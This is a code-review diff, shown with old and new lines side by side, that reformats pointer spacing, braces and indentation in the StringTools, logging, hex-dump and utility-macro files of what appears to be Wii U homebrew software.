if((vsprintf(tmp, format, va) >= 0)) { if ((vsprintf(tmp, format, va) >= 0)) {
int bt; int bt;
int32_t strlength = strlen(tmp); int32_t strlength = strlen(tmp);
bt = mbstowcs(strWChar, tmp, (strlength < 512) ? strlength : 512 ); bt = mbstowcs(strWChar, tmp, (strlength < 512) ? strlength : 512);
if(bt > 0) { if (bt > 0) {
strWChar[bt] = 0; strWChar[bt] = 0;
return (const wchar_t *) strWChar; return (const wchar_t *) strWChar;
} }
@ -110,14 +110,14 @@ const wchar_t * StringTools::wfmt(const char * format, ...) {
return NULL; return NULL;
} }
int32_t StringTools::strprintf(std::string &str, const char * format, ...) { int32_t StringTools::strprintf(std::string &str, const char *format, ...) {
static char tmp[512]; static char tmp[512];
tmp[0] = 0; tmp[0] = 0;
int32_t result = 0; int32_t result = 0;
va_list va; va_list va;
va_start(va, format); va_start(va, format);
if((vsprintf(tmp, format, va) >= 0)) { if ((vsprintf(tmp, format, va) >= 0)) {
str = tmp; str = tmp;
result = str.size(); result = str.size();
} }
@ -126,14 +126,14 @@ int32_t StringTools::strprintf(std::string &str, const char * format, ...) {
return result; return result;
} }
std::string StringTools::strfmt(const char * format, ...) { std::string StringTools::strfmt(const char *format, ...) {
std::string str; std::string str;
static char tmp[512]; static char tmp[512];
tmp[0] = 0; tmp[0] = 0;
va_list va; va_list va;
va_start(va, format); va_start(va, format);
if((vsprintf(tmp, format, va) >= 0)) { if ((vsprintf(tmp, format, va) >= 0)) {
str = tmp; str = tmp;
} }
va_end(va); va_end(va);
@ -141,11 +141,11 @@ std::string StringTools::strfmt(const char * format, ...) {
return str; return str;
} }
BOOL StringTools::char2wchar_t(const char * strChar, wchar_t * dest) { BOOL StringTools::char2wchar_t(const char *strChar, wchar_t *dest) {
if(!strChar || !dest) if (!strChar || !dest)
return false; return false;
int bt; int bt;
bt = mbstowcs(dest, strChar, strlen(strChar)); bt = mbstowcs(dest, strChar, strlen(strChar));
if (bt > 0) { if (bt > 0) {
dest[bt] = 0; dest[bt] = 0;
@ -155,39 +155,39 @@ BOOL StringTools::char2wchar_t(const char * strChar, wchar_t * dest) {
return false; return false;
} }
int32_t StringTools::strtokcmp(const char * string, const char * compare, const char * separator) { int32_t StringTools::strtokcmp(const char *string, const char *compare, const char *separator) {
if(!string || !compare) if (!string || !compare)
return -1; return -1;
char TokCopy[512]; char TokCopy[512];
strncpy(TokCopy, compare, sizeof(TokCopy)); strncpy(TokCopy, compare, sizeof(TokCopy));
TokCopy[511] = '\0'; TokCopy[511] = '\0';
char * strTok = strtok(TokCopy, separator); char *strTok = strtok(TokCopy, separator);
while (strTok != NULL) { while (strTok != NULL) {
if (strcasecmp(string, strTok) == 0) { if (strcasecmp(string, strTok) == 0) {
return 0; return 0;
} }
strTok = strtok(NULL,separator); strTok = strtok(NULL, separator);
} }
return -1; return -1;
} }
int32_t StringTools::strextcmp(const char * string, const char * extension, char seperator) { int32_t StringTools::strextcmp(const char *string, const char *extension, char seperator) {
if(!string || !extension) if (!string || !extension)
return -1; return -1;
char *ptr = strrchr(string, seperator); char *ptr = strrchr(string, seperator);
if(!ptr) if (!ptr)
return -1; return -1;
return strcasecmp(ptr + 1, extension); return strcasecmp(ptr + 1, extension);
} }
std::vector<std::string> StringTools::stringSplit(const std::string & inValue, const std::string & splitter) { std::vector<std::string> StringTools::stringSplit(const std::string &inValue, const std::string &splitter) {
std::string value = inValue; std::string value = inValue;
std::vector<std::string> result; std::vector<std::string> result;
while (true) { while (true) {
@ -202,7 +202,7 @@ std::vector<std::string> StringTools::stringSplit(const std::string & inValue, c
result.push_back(""); result.push_back("");
break; break;
} }
if(index + splitter.size() > value.length()) { if (index + splitter.size() > value.length()) {
break; break;
} }
value = value.substr(index + splitter.size(), value.length()); value = value.substr(index + splitter.size(), value.length());
@ -211,39 +211,39 @@ std::vector<std::string> StringTools::stringSplit(const std::string & inValue, c
} }
const char * StringTools::FullpathToFilename(const char *path) { const char *StringTools::FullpathToFilename(const char *path) {
if(!path) if (!path)
return path; return path;
const char * ptr = path; const char *ptr = path;
const char * Filename = ptr; const char *Filename = ptr;
while(*ptr != '\0') { while (*ptr != '\0') {
if(ptr[0] == '/' && ptr[1] != '\0') if (ptr[0] == '/' && ptr[1] != '\0')
Filename = ptr+1; Filename = ptr + 1;
++ptr; ++ptr;
}
return Filename;
} }
return Filename;
}
void StringTools::RemoveDoubleSlashs(std::string &str) { void StringTools::RemoveDoubleSlashs(std::string &str) {
uint32_t length = str.size(); uint32_t length = str.size();
//! clear path of double slashes //! clear path of double slashes
for(uint32_t i = 1; i < length; ++i) { for (uint32_t i = 1; i < length; ++i) {
if(str[i-1] == '/' && str[i] == '/') { if (str[i - 1] == '/' && str[i] == '/') {
str.erase(i, 1); str.erase(i, 1);
i--; i--;
length--; length--;
}
} }
} }
}
// You must free the result if result is non-NULL. // You must free the result if result is non-NULL.
char * StringTools::str_replace(char *orig, char *rep, char *with) { char *StringTools::str_replace(char *orig, char *rep, char *with) {
char *result; // the return string char *result; // the return string
char *ins; // the next insert point char *ins; // the next insert point
char *tmp; // varies char *tmp; // varies
@ -268,7 +268,7 @@ char * StringTools::str_replace(char *orig, char *rep, char *with) {
ins = tmp + len_rep; ins = tmp + len_rep;
} }
tmp = result = (char*)malloc(strlen(orig) + (len_with - len_rep) * count + 1); tmp = result = (char *) malloc(strlen(orig) + (len_with - len_rep) * count + 1);
if (!result) if (!result)
return NULL; return NULL;

View File

@ -32,20 +32,33 @@
class StringTools { class StringTools {
public: public:
static BOOL EndsWith(const std::string& a, const std::string& b); static BOOL EndsWith(const std::string &a, const std::string &b);
static const char * byte_to_binary(int32_t x);
static std::string removeCharFromString(std::string& input,char toBeRemoved); static const char *byte_to_binary(int32_t x);
static const char * fmt(const char * format, ...);
static const wchar_t * wfmt(const char * format, ...); static std::string removeCharFromString(std::string &input, char toBeRemoved);
static int32_t strprintf(std::string &str, const char * format, ...);
static std::string strfmt(const char * format, ...); static const char *fmt(const char *format, ...);
static BOOL char2wchar_t(const char * src, wchar_t * dest);
static int32_t strtokcmp(const char * string, const char * compare, const char * separator); static const wchar_t *wfmt(const char *format, ...);
static int32_t strextcmp(const char * string, const char * extension, char seperator);
static int32_t strprintf(std::string &str, const char *format, ...);
static std::string strfmt(const char *format, ...);
static BOOL char2wchar_t(const char *src, wchar_t *dest);
static int32_t strtokcmp(const char *string, const char *compare, const char *separator);
static int32_t strextcmp(const char *string, const char *extension, char seperator);
static char *str_replace(char *orig, char *rep, char *with); static char *str_replace(char *orig, char *rep, char *with);
static const char * FullpathToFilename(const char *path);
static const char *FullpathToFilename(const char *path);
static void RemoveDoubleSlashs(std::string &str); static void RemoveDoubleSlashs(std::string &str);
static std::vector<std::string> stringSplit(const std::string & value, const std::string & splitter);
static std::vector<std::string> stringSplit(const std::string &value, const std::string &splitter);
}; };
#endif /* __STRING_TOOLS_H */ #endif /* __STRING_TOOLS_H */

View File

@ -1,4 +1,5 @@
#pragma once #pragma once
#include <whb/log.h> #include <whb/log.h>
#include <string.h> #include <string.h>

View File

@ -7,31 +7,31 @@
#include "utils/logger.h" #include "utils/logger.h"
// https://gist.github.com/ccbrown/9722406 // https://gist.github.com/ccbrown/9722406
void dumpHex(const void* data, size_t size) { void dumpHex(const void *data, size_t size) {
char ascii[17]; char ascii[17];
size_t i, j; size_t i, j;
ascii[16] = '\0'; ascii[16] = '\0';
WHBLogPrintf("0x%08X (0x0000): ", data); WHBLogPrintf("0x%08X (0x0000): ", data);
for (i = 0; i < size; ++i) { for (i = 0; i < size; ++i) {
WHBLogWritef("%02X ", ((unsigned char*)data)[i]); WHBLogWritef("%02X ", ((unsigned char *) data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { if (((unsigned char *) data)[i] >= ' ' && ((unsigned char *) data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i]; ascii[i % 16] = ((unsigned char *) data)[i];
} else { } else {
ascii[i % 16] = '.'; ascii[i % 16] = '.';
} }
if ((i+1) % 8 == 0 || i+1 == size) { if ((i + 1) % 8 == 0 || i + 1 == size) {
WHBLogWritef(" "); WHBLogWritef(" ");
if ((i+1) % 16 == 0) { if ((i + 1) % 16 == 0) {
WHBLogWritef("| %s \n", ascii); WHBLogWritef("| %s \n", ascii);
if(i + 1 < size) { if (i + 1 < size) {
DEBUG_FUNCTION_LINE("0x%08X (0x%04X); ", data + i + 1,i+1); DEBUG_FUNCTION_LINE("0x%08X (0x%04X); ", data + i + 1, i + 1);
} }
} else if (i+1 == size) { } else if (i + 1 == size) {
ascii[(i+1) % 16] = '\0'; ascii[(i + 1) % 16] = '\0';
if ((i+1) % 16 <= 8) { if ((i + 1) % 16 <= 8) {
WHBLogWritef(" "); WHBLogWritef(" ");
} }
for (j = (i+1) % 16; j < 16; ++j) { for (j = (i + 1) % 16; j < 16; ++j) {
WHBLogWritef(" "); WHBLogWritef(" ");
} }
WHBLogWritef("| %s \n", ascii); WHBLogWritef("| %s \n", ascii);

View File

@ -7,12 +7,12 @@
extern "C" { extern "C" {
#endif #endif
#define LIMIT(x, min, max) \ #define LIMIT(x, min, max) \
({ \ ({ \
typeof( x ) _x = x; \ typeof( x ) _x = x; \
typeof( min ) _min = min; \ typeof( min ) _min = min; \
typeof( max ) _max = max; \ typeof( max ) _max = max; \
( ( ( _x ) < ( _min ) ) ? ( _min ) : ( ( _x ) > ( _max ) ) ? ( _max) : ( _x ) ); \ ( ( ( _x ) < ( _min ) ) ? ( _min ) : ( ( _x ) > ( _max ) ) ? ( _max) : ( _x ) ); \
}) })
#define DegToRad(a) ( (a) * 0.01745329252f ) #define DegToRad(a) ( (a) * 0.01745329252f )
@ -31,7 +31,7 @@ extern "C" {
#define le64(i) ((((uint64_t)le32((i) & 0xFFFFFFFFLL)) << 32) | ((uint64_t)le32(((i) & 0xFFFFFFFF00000000LL) >> 32))) #define le64(i) ((((uint64_t)le32((i) & 0xFFFFFFFFLL)) << 32) | ((uint64_t)le32(((i) & 0xFFFFFFFF00000000LL) >> 32)))
//Needs to have log_init() called beforehand. //Needs to have log_init() called beforehand.
void dumpHex(const void* data, size_t size); void dumpHex(const void *data, size_t size);
#ifdef __cplusplus #ifdef __cplusplus
} }